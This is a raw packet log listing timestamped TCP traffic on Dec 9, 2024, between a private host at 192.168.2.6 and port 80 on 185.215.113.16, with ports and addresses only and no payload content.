Dec 9, 2024 18:20:50.872759104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.872812033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.874854088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.874906063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.874970913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.875019073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.876931906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.876981020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.877029896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.877077103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.879267931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.879333019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.879336119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.879380941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.881211996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.881263971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.881320953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.881367922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.883333921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.883383989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.883435965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.883548021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.885440111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.885488987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.885554075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.885605097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.887590885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.887638092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.887725115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.887770891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.889700890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.889756918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.889806032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.889852047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.891859055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.891906977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.891988039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.892035007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.894022942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.894073009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.894167900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.894217014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.896114111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.896167040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.896225929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.896267891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.898274899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.898329973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.898376942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.898426056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.900573969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.900655031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.900691986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.900737047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.902657032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.902708054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.902851105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.902898073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.904659986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.904706001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.904747963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.904792070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.906872988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.906933069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.906985044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.907030106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.908957958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.909010887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.909076929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.909122944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.911035061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.911108971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.991075993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.991179943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.991229057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.991303921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.991600037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.991650105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.991708040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.991759062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.993343115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.993391037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.993495941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.993545055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.995167017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.995238066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.995323896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.995373011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.996850967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.996895075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.996949911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.996992111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.998579025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.998625994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.998707056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.998756886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.000296116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.000422001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.000472069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.001964092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.002096891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.002160072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.003608942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.003665924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.003668070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.003700018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.005156040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.005213022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.005321980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.005367041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.006845951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.006979942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.007029057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.008364916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.008413076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.008476973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.008524895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.009963036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.010127068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.010174990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.011493921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.011543989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.011612892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.011661053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.013194084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.013246059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.013307095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.013348103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.014605045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.014755964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.014837027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.016110897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.016227007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.016288996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.017592907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.017659903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.017724991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.017770052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.019270897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.019330025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.019519091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.019561052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.020764112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.020814896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.020906925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.020950079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.022349119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.022464037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.022515059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.023665905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.023718119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.023761034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.023798943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.025075912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.025203943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.025258064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.026410103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.026485920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.026565075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.026611090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.028081894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.028131962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.028213024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.028260946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.029361010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.029427052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.029474974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.029522896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.030973911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.031028032 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.031107903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.031162024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.032143116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.032188892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.032417059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.032464981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.033545971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.033610106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.033639908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.033737898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.034907103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.034955025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.035003901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.035051107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.036320925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.036371946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.036504030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.036569118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.037678003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.037731886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.037801981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.037848949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.039079905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.039130926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.039283037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.039340973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.040467978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.040520906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.040569067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.040617943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.042161942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.042191982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.042217970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.042241096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.043440104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.043490887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.043534994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.043591976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.044724941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.044778109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.044939041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.044990063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.046169043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.046217918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.065763950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.065850019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.065985918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.065999031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.066042900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.066395044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.066407919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.066418886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.066442966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.066473007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.067158937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.067171097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.067183018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.067195892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.067219019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.067235947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.068213940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.068226099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.068236113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.068248034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.068263054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.068294048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.068980932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.068994045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069029093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.069036961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069050074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069056034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.069061041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069084883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.069125891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.069952965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069964886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.069993973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.070005894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.070005894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.070044994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.070058107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.070976019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.070987940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.070997953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071011066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071022034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071027040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.071058035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.071075916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.071883917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071897030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071907997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071934938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.071939945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.071964979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.071988106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.183928013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.184094906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.184151888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.184202909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.184436083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.184621096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.184685946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.184736967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.185745955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.185801983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.185887098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.185931921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.186779976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.186826944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.186906099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.186956882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.187952042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.188024998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.188163996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.188210011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.189203024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.189254999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.189358950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.189413071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.192336082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.192348957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.192361116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.192373037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.192399979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.192430973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.193026066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.193078995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.193166018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.193217993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.194449902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.194463015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.194503069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.195154905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.195167065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.195209980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.196530104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.196578979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.196671009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.196721077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.197689056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.197701931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.197738886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.198335886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.198348045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.198388100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.199451923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.199503899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.199579000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.199701071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.200489044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.200500965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.200544119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.201453924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.201500893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.201674938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.201728106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.202713966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.202764034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.202881098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.202925920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.203589916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.203641891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.203747034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.203793049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.204689980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.204741001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.204786062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.204833984 CET	49828	80	192.168.2.6	185.215.113.16
